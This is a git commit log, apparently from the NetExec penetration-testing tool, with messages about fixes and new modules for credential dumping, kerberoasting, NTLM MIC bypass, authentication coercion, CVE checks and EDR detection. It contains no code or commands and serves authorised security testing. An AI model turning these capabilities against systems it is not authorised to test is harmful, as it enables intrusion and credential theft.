icemanphd 13b340f613 fix(smb): resolve hostname truncation from NetBIOS 15-char limit (#1059)
Use getServerDNSHostName() instead of getServerName() to retrieve the
hostname from the NTLM challenge response. The DNS hostname (MsvAvDnsComputerName)
is not subject to the 15-character NetBIOS limitation, resolving truncated
entries in --generate-hosts-file and --generate-krb5-file output.

Falls back to getServerName() when DNS hostname is unavailable (e.g. Samba).
2026-04-10 11:09:57 -04:00
A3-N 988057d7b5 drop fix 2026-04-10 17:18:21 +04:00
A3-N 4a29811ef9 revived banner 2026-04-10 17:15:14 +04:00
A3-N 24e290f01d revived banner 2026-04-10 17:14:29 +04:00
A3-N 1d3542ea36 fix: ftp put_file reports failure on 0-byte uploads 2026-04-09 02:49:06 +04:00
termanix e6c2cda3d8 e2e update 2026-04-07 20:41:30 +03:00
termanix 38674a517d scope user search to OU baseDN and add listing header 2026-04-07 20:40:44 +03:00
termanix 30f365cc40 Merge branch 'main' into patch-1 2026-04-07 20:19:46 +03:00
azoxlpf 5fe43ba915 restore comment accidentally removed 2026-04-07 17:35:21 +02:00
azoxlpf 382821ae03 module header comment, drop class docstring 2026-04-07 17:27:03 +02:00
azoxlpf 2e06677820 ruff fix 2026-04-07 17:23:01 +02:00
azoxlpf 3cc5d6d5b0 log SAMR cleanup errors instead of silent pass 2026-04-07 17:21:55 +02:00
azoxlpf 27fd359e6e wrap legacy bind and auth_level in execute_handler try 2026-04-07 17:20:26 +02:00
azoxlpf f6adc55a6b fix(spooler): restore EPM flow without bind (port 135/445) 2026-04-07 17:07:23 +02:00
azoxlpf 5947abe37a revert(ntlm_reflection): restore original stub module 2026-04-07 15:07:42 +02:00
azoxlpf ffed697d6e fix(enum_ca): restore EPM flow without bind for port 135 2026-04-07 15:02:02 +02:00
azoxlpf 2b92f7c39e fix(enum_cve): catch SessionError when opening winreg pipe 2026-04-07 14:51:14 +02:00
azoxlpf 9c68d2f790 correct SMBTransport args for reused SMB session 2026-04-07 14:45:59 +02:00
azoxlpf 7267518db6 centraliser DCE/RPC via NXCRPCConnection 2026-04-07 14:12:55 +02:00
Alex 67d90e0227 Merge pull request #1183 from azoxlpf/fix/mssql-integrated-auth-tds-error-handling
fix(mssql): handle TDS error when NTLM challenge absent and fix local-auth flow
2026-04-06 14:56:39 +02:00
Azox 31472fb96f Merge branch 'main' into fix/mssql-integrated-auth-tds-error-handling 2026-04-06 14:53:09 +02:00
Alexander Neff a1ecc1dfbb Add NTLM:False flag 2026-04-06 08:46:16 -04:00
Alexander Neff 6c957f9145 Remove print message 2026-04-06 08:42:41 -04:00
Alexander Neff 804aeb00f1 Remove unused variable and add no_ntlm 2026-04-06 08:42:23 -04:00
Alexander Neff 4cb49784a3 Switch if logic 2026-04-06 08:40:50 -04:00
termanix 68ff10b704 Conflicts solved 2026-04-04 18:15:56 +03:00
azoxlpf 6ada3eaf3c rename ntlm_parser to negotiate_parser, add TDS LOGIN7 helpers 2026-04-03 22:32:37 +02:00
Alex 1f4aceaefe Merge pull request #1177 from ledrypotato/pre2k-module-adjustment
Adjust the pre2k module
2026-04-03 20:12:43 +02:00
Alexander Neff 121d6c4305 Only apply ALL option if indeed set to true 2026-04-03 14:06:53 -04:00
Alexander Neff ee466afc40 Still display failed TGT retreival for pre2k accounts 2026-04-03 14:04:22 -04:00
Alexander Neff ddc66c1243 Only display accounts that have been found 2026-04-03 14:00:21 -04:00
Matt f2d2a72c0e add e2e commands 2026-04-03 19:37:43 +02:00
Matt c2efe58d31 small adjustments + separate writing pre2k & non pre2k computers to different files 2026-04-03 19:14:38 +02:00
Alex 3e4a7bc411 Merge pull request #1180 from termanix/patch-2
Improve error handling in change-password module
2026-04-03 18:58:09 +02:00
Alexander Neff ee37fc08cf Remove unnecessary None checks 2026-04-03 12:45:30 -04:00
Alexander Neff c78bb6bade Move error handling to login function, so if we crash we don't add users to db 2026-04-03 12:43:50 -04:00
Matt 8ebf8fed7d fix module option description 2026-04-03 14:22:20 +02:00
Matt 6e39d16dc5 add module option to query every computer object 2026-04-03 14:08:41 +02:00
ledrypotato 12cb8e3521 Merge branch 'Pennyw0rth:main' into pre2k-module-adjustment 2026-04-03 11:07:53 +02:00
Alex a073c2db16 Merge pull request #1182 from azoxlpf/fix/mssql-attribute-error
fix: avoid AttributeError when MSSQL command output is None
2026-04-01 22:22:27 +02:00
azoxlpf 1b4900d755 always return str from MSSQLEXEC.execute 2026-04-01 20:32:55 +02:00
Azox 19f979c6ee Merge branch 'main' into fix/mssql-attribute-error 2026-04-01 16:54:01 +02:00
azoxlpf 7147aa265e parse TDS ERROR/INFO via impacket 2026-04-01 15:37:18 +02:00
Azox b27b20fb9a Merge branch 'main' into fix/mssql-integrated-auth-tds-error-handling 2026-04-01 14:45:13 +02:00
Alex 600abd62be Merge pull request #1179 from azoxlpf/fix/mssql-fix-infinite-loop
abort rid_brute on invalid connection after failed login
2026-03-31 18:50:22 +02:00
Azox e8c2584499 Merge branch 'main' into fix/mssql-attribute-error 2026-03-31 12:58:04 +02:00
Azox 3ff1e89877 Merge branch 'main' into fix/mssql-integrated-auth-tds-error-handling 2026-03-31 12:57:47 +02:00
azoxlpf 081ab77eae fix(mssql): handle TDS error when NTLM challenge absent and fix local-auth flow 2026-03-31 12:49:35 +02:00
azoxlpf 9d90e0daba fix: avoid AttributeError when MSSQL command output is None 2026-03-31 10:30:52 +02:00
termanix 95f67b7125 removed duplicate try&except 2026-03-30 18:32:27 +03:00
azoxlpf 8a0957e183 return early from rid_brute on SID/domain query failure 2026-03-30 14:29:47 +02:00
termanix e6ca7f4b76 Added try except for understanding errors 2026-03-30 15:03:56 +03:00
termanix 7c97ed133c fix ruff. That changes for preventing unnecessary RPC calls 2026-03-30 14:47:26 +03:00
termanix a1f3aaaee1 Attempt to resolve and open target user; abort if not found or not accessible. Preventing for trying to change (failed: rpc_x_bad_stub_data) 2026-03-30 14:41:16 +03:00
Azox 04da125754 Merge branch 'main' into fix/mssql-fix-infinite-loop 2026-03-30 13:04:23 +02:00
azoxlpf 4d112e7952 abort rid_brute on invalid connection after failed login 2026-03-30 12:59:18 +02:00
Alex 4a5cbf650a Merge pull request #1172 from A3-N/fix/connection-thread-safety
fix: add thread-safety to failed login counters
2026-03-30 11:54:19 +02:00
Alex 08ad1cc792 Merge pull request #1041 from Wyndoo/module-get-scriptpath 2026-03-29 17:26:11 +02:00
ledrypotato 7fb80e6cc9 Update search filter for computer accounts
The userAccountControl search filter is a bit restrictive. I changed it from 4128 (32 - PASSWD_NOTREQD + 4096 - WORKSTATION_TRUST_ACCOUNT) to only 4096 since "After a computer account has joined the domain, it will just have the WORKSTATION_TRUST_ACCOUNT flag set (4096)" - https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts

Signed-off-by: ledrypotato <[email protected]>
2026-03-28 18:01:32 +01:00
A3-N 623e6aa6b6 removed outer check, no time save 2026-03-27 21:18:08 +04:00
Alex d2342dbfad Merge pull request #1110 from Coontzy1/main
SAM History Dumping
2026-03-26 17:20:40 +01:00
Alex 43027f47a2 Merge pull request #1173 from 0xaled/NetExec-Enum-AV
enum_av module: add HarfangLab Hurukai EDR indicators and minor tipo fix
2026-03-25 18:54:48 +01:00
Alexander Neff 6cfb52c3bd Just directly use arg and formatting 2026-03-25 13:16:43 -04:00
Alex 409b0278fd Merge pull request #698 from LTJAXSON/add-mssql-dumper-module
Add mssql_dumper module for sensitive data discovery
2026-03-25 17:20:18 +01:00
P'tit Snake ee652ba36b Update enum_av.py : Minor fix ( HarfangLab PR )
tipo fix for EPClientUIService

Signed-off-by: P'tit Snake <[email protected]>
2026-03-25 14:25:34 +01:00
P'tit Snake ccbf41de7f Update enum_av.py : Minor fix ( HarfangLab PR )
correction de tipo pour cortex EDR 

Signed-off-by: P'tit Snake <[email protected]>
2026-03-25 14:24:10 +01:00
P'tit Snake 1ef7e792f0 Update enum_av.py: add HarfangLab Hurukai EDR indicators
Add detection for HarfangLab EDR agent via services and pipes,  tested against a live Windows Server 2019 system with HarfangLab deployed.

Signed-off-by: P'tit Snake <[email protected]>
2026-03-25 14:15:47 +01:00
Alex 931f281cc1 Merge branch 'main' into main 2026-03-25 10:32:08 +01:00
A3-N d7abaf287b fix: add thread-safety to failed login counters 2026-03-24 11:06:46 +04:00
enzym3 b813a679ba smb --shares: skip write checks for non-filesystem shares (IPC, print queue) using shi1_type 2026-03-23 11:41:19 -04:00
enzym3 d946b7791a smb: fix --file-write-check warning to use is None check for --shares 2026-03-23 11:30:53 -04:00
enzym3 fa4ba9417a smb: warn when --file-write-check is used without --shares; remove safe_shares module
safe_shares is superseded by ACL-based write detection now built into --shares.
2026-03-23 11:11:44 -04:00
enzym3 8b9a555f77 tests: add --file-write-check e2e command, drop --no-write-check 2026-03-23 10:54:24 -04:00
enzym3 e86d3461d8 smb --shares: ACL-based write detection by default, --file-write-check for empirical 2026-03-23 10:41:40 -04:00
enzym3 1f06aa7ebd smb: add ACL write check constants for shares() 2026-03-23 10:30:28 -04:00
enzym3 cdd8005bc4 smb: replace --no-write-check with --file-write-check 2026-03-23 10:16:47 -04:00
Alex bac38ac1c6 Merge pull request #1171 from T1erno/Fix-lsassy-port
Use connection.port variable on lsassy
2026-03-23 11:30:40 +01:00
Alexander Neff 31bdfe4a3a Update lsassy 2026-03-23 06:26:23 -04:00
T1erno 1f8d03e96f Use connection.port variable on lsassy 2026-03-22 22:30:25 -06:00
Alexander Neff 1eb6c517d3 Add like_search file input and disable preset option 2026-03-22 11:29:45 -04:00
Alexander Neff e8d8966219 Merge branch 'main' into mssql-dumper 2026-03-22 11:21:42 -04:00
Alex 6de83deb6a Merge pull request #1047 from Dfte/main
Add mssql_cbt checker module
2026-03-22 13:52:39 +01:00
Alexander Neff 5e6bd51810 Should be lm or nt hash 2026-03-22 08:34:18 -04:00
Alexander Neff ee20734b36 Fix auth with hashes 2026-03-22 08:28:53 -04:00
Alexander Neff 4795fbce13 Fix ruff 2026-03-22 08:05:55 -04:00
Alexander Neff 6ca17061fa Update impacket 2026-03-22 08:00:38 -04:00
Alexander Neff 8a9102d84b Fix lock file 2026-03-22 07:55:10 -04:00
Alexander Neff e3b61df695 Merge branch 'main' into mssql-cbt 2026-03-22 07:54:26 -04:00
Deft_ 59272d58cf Patches the insert error
Signed-off-by: Deft_ <[email protected]>
2026-03-21 13:19:49 +01:00
Alex 8dbf09cc4f Merge pull request #1166 from Pennyw0rth/neff-update-dependencies
Update dependencies
2026-03-20 15:06:47 +01:00
Alexander Neff 7b3aed0036 Await forever 2026-03-20 07:47:35 -04:00
termanix f21de1c567 editted e2e 2026-03-20 13:40:11 +02:00
termanix 1e344b8f7f renamed module name removed ou part 2026-03-20 13:36:37 +02:00
Alexander Neff 76433ab10e Replace os.path with async safe anyio.Path 2026-03-20 07:30:35 -04:00
Alexander Neff 6a443a5d3e Clean up ruff 2026-03-20 07:25:42 -04:00
Alexander Neff 4c6ee6b9da Remove obsolete ruff setting 2026-03-20 07:24:01 -04:00
Alexander Neff 5d2b8fd297 Update dependencies 2026-03-20 07:23:53 -04:00
Alexander Neff 92f70ca16e Fix lock file 2026-03-20 07:18:42 -04:00
termanix 26ecbf1e2f Regenerate poetry.lock 2026-03-20 13:04:32 +02:00
termanix e03d26cc38 removed duplicated functions, try/excepts. 2026-03-20 13:02:15 +02:00
termanix 493381c35a removed unneccesary try/except blocks 2026-03-20 13:02:15 +02:00
termanix 4a9c2d58f2 Debug and fail logs have been reduced to a single line. 2026-03-20 13:02:15 +02:00
termanix 33f521c055 removed unneccesary connections and modified as ldap.modify 2026-03-20 13:02:08 +02:00
Alexander Neff bb7afbaa84 Update impacket 2026-03-20 13:01:16 +02:00
termanix 4d9e34398a ou part commented for now 2026-03-20 13:01:03 +02:00
termanix 556dfd755c edit for understanding 2026-03-20 13:01:03 +02:00
termanix c7e2ae46f1 Added try/except for if the target user is (not) already in group on SMB 2026-03-20 13:01:03 +02:00
termanix ecda28839f Added SAMR info for using SMB 2026-03-20 13:01:03 +02:00
termanix 7b003e1d88 Switched to impacket ldap connection from ldap3(removed) 2026-03-20 13:01:03 +02:00
termanix c8c69f8757 edit to do 2026-03-20 13:01:03 +02:00
Mehmetcan TOPAL 60a571ec0e ruff fix 2026-03-20 13:01:03 +02:00
termanix 871c70b51b Fixed auth bug on ldap 2026-03-20 13:01:03 +02:00
termanix ecf6062314 ruff fixed 2026-03-20 13:01:03 +02:00
termanix 77e916997d Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2026-03-20 13:01:03 +02:00
termanix fa1ee4beaf Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2026-03-20 13:01:03 +02:00
termanix 03e30c68f7 removed old changes, OU part will To Do 2026-03-20 13:01:03 +02:00
termanix 8eebf0a2ba added a few log info lines
Signed-off-by: termanix <[email protected]>
2026-03-20 13:01:03 +02:00
termanix 4e4a00fb7e add/remove group module 2026-03-20 13:01:03 +02:00
Alex 2204ea8d30 Merge pull request #1054 from 0x0Trace/feature/adcs-collection
feat(ldap): add ADCS collection support via CertiHound integration
2026-03-19 17:57:08 +01:00
Alexander Neff 7c64f922f6 Add e2e tests 2026-03-19 09:16:47 -04:00
Alex 9d65d3c404 Merge pull request #1164 from Pennyw0rth/neff-fix-dependencies
Update impacket
2026-03-19 14:14:49 +01:00
Alexander Neff 9f5ba4f6ba Update impacket 2026-03-19 07:59:26 -04:00
Alexander Neff 62ae17dd09 Add SHOW_DATA options to regex check 2026-03-19 07:56:48 -04:00
Alexander Neff 11fe13e69c Save output file into nxc folder and remove unnecessary parsing 2026-03-19 07:54:29 -04:00
Alexander Neff 02f521e70d Standardize json output 2026-03-19 07:46:48 -04:00
Alexander Neff dc3cd90e53 Optimise code 2026-03-19 07:45:48 -04:00
Alexander Neff a17137f0d9 Replace exception handler with lastError check 2026-03-19 07:39:28 -04:00
Alexander Neff 5f2d34732c Comments and removing unnecessary exception handler 2026-03-19 07:38:31 -04:00
Alexander Neff 1b5cd4dabd Optimise code 2026-03-19 07:32:10 -04:00
Alexander Neff 848b7b0eae Optimise code 2026-03-19 07:04:11 -04:00
Alexander Neff 46bfbcf2d8 Fix module and options 2026-03-19 07:03:38 -04:00
Alexander Neff d2640c9c82 Formatting 2026-03-18 17:18:56 -04:00
Alexander Neff c7b8e5bb2b Sort pii values 2026-03-18 16:49:39 -04:00
Alexander Neff cbc40f75ea Formatting 2026-03-18 16:43:18 -04:00
Alex 36180b3dc1 Merge branch 'main' into add-mssql-dumper-module 2026-03-18 21:41:04 +01:00
Alex 756abe171a Merge pull request #1160 from azoxlpf/fix/pfx-auth
Fix :  handle unresolved kdcHost with clear error, add winrm kdcHost resolution
2026-03-18 19:11:19 +01:00
Alex 6d1df54392 Merge pull request #1162 from 0xaled/NetExec-Enum-AV
enum_av module: add Elastic EDR Version 9.3.0 indicators
2026-03-18 18:27:07 +01:00
P'tit Snake ce30d4392d fix spacing for improved code readability
During the IOC arrangement, 1 line was removed to maintain better visibility; I'm adding it back.

Signed-off-by: P'tit Snake <[email protected]>
2026-03-18 15:53:36 +01:00
P'tit Snake ca62afcdea Update enum_av.py : Reorder products alphabetically and add Elastic EDR indicators
Sorted all endpoint protection products in alphabetical order for
 consistency and easier maintenance. Added Elastic EDR detection

Signed-off-by: P'tit Snake <[email protected]>
2026-03-18 13:51:14 +01:00
termanix d1123258e7 Merge branch 'main' into patch-1 2026-03-18 14:42:17 +03:00
azoxlpf 82dcdd191c ruff fix 2026-03-18 11:54:13 +01:00
P'tit Snake a869a3fe12 Update enum_av.py With Elastic EDR Version 9.3.0 indicator
Elastic EDR: services (Elastic Agent, ElasticEndpoint) and pipes
(ElasticEndpointServiceComms-*, elastic-agent-system). Version 9.3.0

Signed-off-by: P'tit Snake <[email protected]>
2026-03-18 11:53:43 +01:00
azoxlpf 8e5a4fb814 handle kdcHost None gracefully, avoid self.host fallback for non-DC targets 2026-03-18 11:45:51 +01:00
azoxlpf 5a955ddf39 fallback kdcHost to target IP when DNS resolution fails 2026-03-18 11:30:48 +01:00
Alex 170ce533bb Merge pull request #1098 from azoxlpf/feat/add-ldaps-addccomputer
Refactor add-computer : use impacket CRUD
2026-03-18 11:16:44 +01:00
Alexander Neff 6228c18433 Fix exception handling as in #1081 2026-03-18 06:11:26 -04:00
Alexander Neff 05cc920c80 Formatting 2026-03-18 05:52:27 -04:00
Alexander Neff 7724e882a0 Clarify variable name 2026-03-18 05:42:58 -04:00
Alexander Neff 06c0735676 Simplify code 2026-03-18 05:41:34 -04:00
Alexander Neff b7d0463ea4 Formatting 2026-03-18 05:35:44 -04:00
Alexander Neff 25b72e1bd2 Remove unnecessary checks 2026-03-18 05:35:33 -04:00
Alexander Neff 9bff5bbbed Formatting 2026-03-18 05:29:45 -04:00
Alexander Neff c169d28bda Remove LDAPS statements 2026-03-18 05:27:38 -04:00
Alexander Neff 1517597dba Remove unnecessary checks 2026-03-18 05:26:31 -04:00
Alexander Neff 1fdd259a71 Fix options text 2026-03-18 05:19:11 -04:00
azoxlpf 475078d196 ruff fix 2026-03-17 20:51:48 +01:00
azoxlpf 39f3a2836a fix conflicts 2026-03-17 20:50:16 +01:00
Alexander Neff 37194c6568 Fix json formatting 2026-03-17 15:18:30 -04:00
Alexander Neff ea9b661a0e Simplify filtering 2026-03-17 15:00:07 -04:00
Alexander Neff f4967a6837 Formatting 2026-03-17 14:35:11 -04:00
Alexander Neff ab88315f1d Formatting 2026-03-17 13:20:25 -04:00
Alexander Neff fa2679208b Formatting 2026-03-17 12:30:35 -04:00
Alexander Neff aecad76f0b Simplify resolving logic 2026-03-17 12:21:05 -04:00
Alexander Neff a0573a6dd5 Simplify resolving logic 2026-03-17 12:16:33 -04:00
Alexander Neff 7999b77165 Move bh collection method logic out of ldap proto 2026-03-17 12:11:47 -04:00
Alexander Neff 11bb8fb36b Move import 2026-03-17 12:06:03 -04:00
Azox b951b5c34a Merge branch 'main' into feat/add-ldaps-addccomputer
Signed-off-by: Azox <[email protected]>
2026-03-17 17:02:18 +01:00
Alexander Neff ce0494038c Merge branch 'main' into certihound 2026-03-17 11:59:17 -04:00
Alexander Neff 29b4012d7e Fix lock file 2026-03-17 10:06:47 -04:00
Alexander Neff e00d08fb0f Merge branch 'main' into mssql-cbt 2026-03-17 10:06:37 -04:00
Alexander Neff bc1efe1237 Formatting 2026-03-17 10:06:02 -04:00
Alexander Neff b83e345ddc Switch to Pennyw0rth impacket fork for fake cbt value 2026-03-17 09:54:19 -04:00
Alexander Neff d469fc62ff Fix logging 2026-03-17 09:53:14 -04:00
Alexander Neff 1f9f9e3c49 Formatting 2026-03-17 09:46:22 -04:00
Alexander Neff e4cb390fee Formatting 2026-03-17 09:45:17 -04:00
Alexander Neff 08e1b74417 Add missing lm hash var 2026-03-17 09:45:08 -04:00
Alex 1fb8433026 Merge pull request #1156 from 0xaled/NetExec-Avast-AVG-Enum
enum_av module: add AVG / Avast indicator
2026-03-17 10:42:54 +01:00
P'tit Snake a1cadc4d04 Update enum_av.py
enum_av module: add AVG / Avast indicator

Signed-off-by: P'tit Snake <[email protected]>
2026-03-16 15:12:56 +01:00
Alex 1f7cdb1490 Merge pull request #1150 from azoxlpf/feat/add-badsuccessor-check
Add CVE-2025-53779 (BadSuccessor) to the enum_cve module
2026-03-16 12:19:27 +01:00
Azox f42be28998 Merge branch 'main' into feat/add-badsuccessor-check 2026-03-14 18:13:50 +01:00
azoxlpf 65cc6728ca call is_host_dc() for dc_only CVEs and cache result 2026-03-14 18:13:14 +01:00
Alex faea7379df Merge pull request #1155 from Pennyw0rth/neff-fix-relaying
Prevent doing database stuff if we don't have a valid connection
2026-03-14 16:33:25 +01:00
Alex 75b207c688 Merge pull request #1151 from Pennyw0rth/dpapi_chrome_fix
Fix #1139 : Add support for Google Chrome v137+ app bound key decryption (through dploot upgrade)
2026-03-14 16:33:14 +01:00
Alex 2bd69e0aed Merge pull request #1154 from Pennyw0rth/neff-minor-fixes
Few minor fixes
2026-03-14 16:31:11 +01:00
Alexander Neff f94b1399a5 Prevent doing database stuff if we don't have a valid connection 2026-03-14 11:19:01 -04:00
Alexander Neff 6bb2d66239 Wording 2026-03-14 11:13:25 -04:00
Alexander Neff 8a1fa2fb72 If retreiving lsass pid failed this would lead to a crash when trying to split the string 2026-03-14 11:10:12 -04:00
Alexander Neff 429764c592 Log as success and not full highlight 2026-03-14 11:09:26 -04:00
Marshall Hallenbeck 3593ed57ab Merge branch 'main' into fix/ssh-channel-closed-exception 2026-03-14 10:49:38 -04:00
Marshall Hallenbeck 4de7d81e94 fix(ssh): break try catch between linux and windows shell check and catch all exceptions 2026-03-14 10:48:56 -04:00
zblurx f55a234cbe update poetry lock 2026-03-13 18:16:59 +01:00
zblurx 25166e0c8d Add support for dploot 3.2.2 and google chrome +137 decryption 2026-03-13 17:46:06 +01:00
Azox defda582b1 Merge branch 'main' into feat/add-badsuccessor-check 2026-03-13 17:03:04 +01:00
azoxlpf d5ff66b396 add BadSuccessor and dc_only flag 2026-03-13 16:40:10 +01:00
Alex e7fa3fdbbf Merge pull request #1149 from Pennyw0rth/neff-fix-asreproast
Catch KDC_ERR_ETYPE_NOSUPP when asreproasting
2026-03-13 12:16:04 +01:00
Alexander Neff 845f8d9f33 Use connection logger instead of universal logger 2026-03-13 07:03:34 -04:00
Alexander Neff 44a24f0576 Catch KDC_ERR_ETYPE_NOSUPP if there are no etypes left to request 2026-03-13 07:03:04 -04:00
Alex 83dcd2639e Merge pull request #1086 from pol4ir/main
Add SMB module NTLM MIC bypass (CVE‑2025‑54918)
2026-03-13 08:07:08 +01:00
Alex 0347c13f52 Merge pull request #1147 from Pennyw0rth/neff-fix-shares-empty-pw
Add users with empty password to db
2026-03-12 17:09:35 +01:00
polair 2347874213 Merge branch 'main' into main 2026-03-12 15:01:01 +01:00
Alexander Neff c015d2c643 There are users with empty passwords 2026-03-12 09:56:56 -04:00
Alex b037969f54 Merge pull request #1145 from Pennyw0rth/neff-fix-shares-guest
Don't display the index error when guest auth is active
2026-03-12 13:18:46 +01:00
Marshall Hallenbeck 90ef481d94 Merge pull request #1131 from Pennyw0rth/fix/moduleloader-namespace-collision
fix(coerce_plus): move get_dynamic_endpoint back to module-level function
2026-03-12 08:06:40 -04:00
Alexander Neff 087ee8bf5b Don't display the index error when guest auth is active 2026-03-12 07:45:25 -04:00
Alex 32796c6d1e Merge pull request #1142 from gatariee/get-network-patch
fix bug in `get-networks` to use queried zone instead of connection
2026-03-12 11:24:16 +01:00
Alexander Neff 3c4e387045 Remove unused imports 2026-03-12 06:22:00 -04:00
Alexander Neff 82b1336023 Remove deprecated open call 2026-03-12 06:18:04 -04:00
Alexander Neff 92e2b8fc08 Add exploitation source 2026-03-12 05:52:08 -04:00
Alexander Neff ffd615e171 Add exploitation source 2026-03-12 05:17:03 -04:00
Alexander Neff 138f60607d Add UBR to debug output 2026-03-12 05:11:29 -04:00
Alexander Neff 627aeff920 Prevent stacktrace when guest try access winreg 2026-03-12 04:29:46 -04:00
Alexander Neff 1e90eadef1 Fix CVE UBRs 2026-03-12 04:23:57 -04:00
Alexander Neff 9a7a302fd4 Simplify logic 2026-03-12 04:23:36 -04:00
Alexander Neff f61bf5a7d0 Improve messages 2026-03-12 04:02:15 -04:00
Alexander Neff 3dbef634b4 Add CVE dict and logic for enumeration 2026-03-12 03:53:43 -04:00
Alexander Neff 65a7389058 Formatting 2026-03-12 03:53:24 -04:00
Alexander Neff 77b1efe95d Module description and formatting 2026-03-12 03:52:59 -04:00
gatari 3d7ae49854 Update log output to use zone instead of domain
Signed-off-by: gatari <[email protected]>
2026-03-12 15:27:28 +08:00
Alexander Neff ac735513f6 Initial enum_cve module 2026-03-12 03:19:23 -04:00
Alexander Neff d161db28f9 Deprecate ntlm_reflection module 2026-03-12 03:13:10 -04:00
Marshall Hallenbeck 1a59962f2a Merge branch 'main' into fix/moduleloader-namespace-collision 2026-03-11 19:24:27 -04:00
Alex c3b7e4a567 Merge pull request #1141 from Pennyw0rth/neff-fix-nfs4
Fix nfs for nfs4 only servers
2026-03-11 22:31:25 +01:00
Alexander Neff 543a5b3611 Fix nfs for nfs4 only servers 2026-03-11 17:24:07 -04:00
Alex 0e902450b0 Merge pull request #1140 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus module when hitting symlink
2026-03-11 21:01:30 +01:00
Alexander Neff 78902ee3ee Don't follow symlinks and especially don't reconnect because this doesn't help 2026-03-11 15:53:40 -04:00
Alex 26465b1b20 Merge pull request #1102 from elboulangero/terminaltables3
Switch to terminaltables3
2026-03-11 20:40:24 +01:00
Alexander Neff b3122632f5 Fix lock file 2026-03-11 15:34:58 -04:00
Alex e57ba1ce91 Merge pull request #1113 from mverschu/fix/dpapi-username-case
Fix DPAPI credential lookup: add lowercase username for dploot compatibility
2026-03-11 19:10:26 +01:00
Alexander Neff 3ac03b68d1 Remove duplicate line 2026-03-11 14:05:42 -04:00
enzym3 6ece24e2f4 safe_shares: expand write detection with granular ACL-based checks
Replaces the single GENERIC_WRITE check with a multi-mask approach covering
FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, WRITE_DAC, and WRITE_OWNER. Plain WRITE
suppresses the more granular labels when redundant. Dynamic column widths added.
2026-03-11 12:49:27 -04:00
Alex e873e8fcab Merge pull request #1135 from Eliotsehr/fix_krb_S4U
Fix authentication from CCACHE when using kerberos S4U over SMB
2026-03-11 13:03:44 +01:00
Alexander Neff d41ff46e14 Remove obsolete parsing for ccache inside ldap 2026-03-11 07:58:45 -04:00
Alexander Neff 011416bd0c Get username from TGT/ST if not supplied 2026-03-11 07:56:05 -04:00
Alex 9a2544b9fb Merge pull request #1133 from lap1nou/db-guest-null
db: do not add credential to db if guest or null auth
2026-03-11 12:47:40 +01:00
Alexander Neff 2b5b92b21f Formatting 2026-03-11 07:31:49 -04:00
Alex 1d24435609 Merge pull request #1124 from PatchRequest/fix/backup_operator_random_suffix
fix(backup_operator): add random suffix to dump filenames
2026-03-11 12:18:25 +01:00
Alexander Neff 1b9c93eb36 Use internal gen_random_string 2026-03-11 07:07:03 -04:00
Alex bac2a95a95 Merge pull request #1096 from azoxlpf/fix/netbios-exception-handling
Fix AttributeError on NetBIOSTimeout in kerberos_login
2026-03-11 11:22:53 +01:00
Alex 0e4a049a92 Merge pull request #1095 from azoxlpf/fix/certipy-auth-kerberos
Fix certipy-find support for NT hash and AES key auth
2026-03-11 11:22:45 +01:00
Alexander Neff bad31bccb5 Improve clarity when login times out 2026-03-11 06:18:12 -04:00
Alex bd1654baa3 Merge pull request #1081 from serwiz/fix/add-computer-exception-catch
Fix incorrect exception handling
2026-03-11 11:08:46 +01:00
Alexander Neff 282fbe1ee1 Align hashes with lm:nt as required in the docstring 2026-03-11 06:07:18 -04:00
Alexander Neff e820d96833 Match entire string and add source for error msgs 2026-03-11 06:00:16 -04:00
e-nzym3 189371aa45 Update safe_shares.py
Signed-off-by: e-nzym3 <[email protected]>
2026-03-09 11:34:58 -04:00
enzym3 d43c1594ef Add safe_shares module: safe SMB share permission enumeration without writing to disk 2026-03-09 10:53:38 -04:00
Marshall Hallenbeck 99ee883ef0 fix(ssh): handle channel closed exception during shell and privilege checks
Catch SSHException in check_shell() and check_linux_priv() so that SSH
servers that close channels mid-command no longer cause unhandled
tracebacks. Instead, the connection is treated as "no shell access".

Closes #264
2026-03-05 08:29:32 -05:00
Eliotsehr 77d2c1c12a Fix authentication from CCACHE when using kerberos S4U over SMB 2026-03-05 13:01:25 +01:00
azoxlpf 87c2ad607c move comment 2026-03-04 12:14:13 +01:00
azoxlpf 2b23da5278 add space 2026-03-04 12:12:15 +01:00
azoxlpf d8cf226eb1 fix accidental comment removal 2026-03-04 12:09:31 +01:00
azoxlpf 44d2416e13 refactor: use --targeted-kerberoast with --kerberoasting 2026-03-04 12:03:00 +01:00
Azox bb7cb1058b Merge branch 'main' into feat/add-targeted-kerberoast 2026-03-04 10:30:28 +01:00
lap1nou 82ff6b63e7 db: do not add credential if guest or null auth 2026-03-03 23:18:54 +01:00
Marshall HallenbeckandClaude Opus 4.6 6409e0d684 fix(moduleloader): isolate module namespaces and cache loaded modules
The module loader used the same module name "NXCModule" for every file
via spec_from_file_location(), causing sys.modules namespace collisions
when multiple modules are loaded together (-M mod1 -M mod2). Each
subsequent module overwrites the NXCModule class in the shared namespace,
so modules loaded earlier resolve a different class than their own.

This is the underlying mechanism behind multi-module ordering bugs
reported in #879, #880, and #882.

Changes:
- Use unique module names (nxc_module_<filename>) and the modern
  module_from_spec() + exec_module() API instead of the deprecated
  load_module() to give each module its own isolated namespace
- Cache loaded modules so each file is only parsed and executed once,
  regardless of how many targets are scanned (~60x faster than
  re-loading per target)
- Extract shared loading logic into load_module_file() classmethod

Co-Authored-By: Claude Opus 4.6 <[email protected]>
2026-03-03 12:28:10 -05:00
Marshall HallenbeckandClaude Opus 4.6 41b3fc2617 fix(coerce_plus): move get_dynamic_endpoint back to module-level function
Commit 81c6d9fb (PR #866) moved get_dynamic_endpoint from a module-level
function to a @staticmethod on NXCModule. This broke coerce_plus when used
with any other -M module that loads after it, because the module loader
uses the same sys.modules key for all modules, causing the NXCModule class
reference to be overwritten by whichever module loads last.

As a module-level function, get_dynamic_endpoint is not resolved through
the NXCModule class name and is unaffected by the collision.

Also makes the [dcerpc] endpoint resolution lazy so it only runs when
that pipe is actually selected, avoiding an unnecessary network call
to port 135 on every target.

Co-Authored-By: Claude Opus 4.6 <[email protected]>
2026-03-03 11:27:05 -05:00
Neoreo fa7706b807 Factorize code 2026-02-28 11:00:46 +01:00
Alex e065856ec2 Merge branch 'main' into fix/backup_operator_random_suffix 2026-02-27 20:38:09 +05:30
